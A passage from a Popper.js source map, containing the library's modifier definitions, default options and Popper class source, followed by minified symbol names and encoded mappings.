`arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n"],"names":["window","document","timeoutDuration","i","longerTimeoutBrowsers","length","isBrowser","navigator","userAgent","indexOf","called","Promise","resolve","then","scheduled","supportsMicroTasks","functionToCheck","getType","toString","call","element","nodeType","ownerDocument","defaultView","css","getComputedStyle","property","nodeName","parentNode","host","body","getStyleComputedProperty","overflow","overflowX","overflowY","test","getScrollParent","getParentNode","isIE11","MSInputMethodContext","documentMode","isIE10","version","documentElement","noOffsetParent","isIE","offsetParent","nextElementSibling","getOffsetParent","firstElementChild","node","getRoot","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","isOffsetContainer","element1root","findCommonOffsetParent","side","upperSide","html","scrollingElement","subtract","scrollTop","getScroll","scrollLeft","modifier","top","bottom","left","right","sideA","axis","sideB","parseFloat","styles","Math","max","parseInt","computedStyle","getSize","offsets","width","height","rect","getBoundingClientRect","result","sizes","getWindowSizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getBordersSize","getClientRect","fixedPosition","runIsIE","isHTML","parent","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","includeScroll","excludeScroll","relativeOffset","getOffsetRectRelativeToArbitraryNode","innerWidth","innerHeight","offset","isFixed","parentElement","el","boundaries","getFixedPositionOffsetParent","boundariesElement","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","popper","padding","isPaddingNumber","placement","getBoundaries","rects","refRect","sortedAreas","Object","keys","map","getArea","sort","b","area","a","filteredAreas","filter","computedPlacement","key","variation","split","commonOffsetParent","x","marginBottom","y","marginRight","hash","replace","popperRect","getOuterSizes","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","referenceOffsets","getOppositePlacement","Array","prototype","find","arr","findIndex","cur","match","obj","modifiersToRun","ends","modifiers","slice","forEach","warn","fn","enabled","isFunction","data","reference","state","isDestroyed","getReferenceOffsets","options","positionFixed","computeAutoPlacement","flip","originalPlacement","getPopperOffsets","position","runModifiers","isCreated","onUpdate","onCreate","some","name","prefixes","upperProp","charAt","toUpperCase","prefix","toCheck","style","isModifierEnabled","removeAttribute","willChange","getSupportedPropertyName","disableEventListeners","removeOnDestroy","removeChild","isBody","target","addEventListener","passive","push","updateBound","scrollElement","scrollParents","eventsEnabled","setupEventListeners","scheduleUpdate","removeEventListener","removeEventListeners","n","isNaN","isFinite","unit","isNumeric","value","attributes","setAttribute","instance","arrowElement","arrowStyles","round","floor","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","prefixedProperty","invertTop","invertLeft","arrow","requesting","isRequired","requested","isModifierRequired","querySelector","isVertical","len","sideCapitalized","toLowerCase","altSide","opSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","min","validPlacements","placements","counter","index","concat","reverse","BEHAVIORS","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","clockwise","COUNTERCLOCKWISE","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","getOppositeVariation","str","size","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","mergeWithPrevious","op","reduce","toValue","index2","basePlacement","parseOffset","transformProp","popperStyles","transform","priority","check","escapeWithReference","shiftvariation","shiftOffsets","bound","hide","subtractLength","Popper","requestAnimationFrame","update","debounce","bind","Defaults","jquery","modifierOptions","onLoad","enableEventListeners","destroy","Utils","global","PopperUtils"],"mappings":"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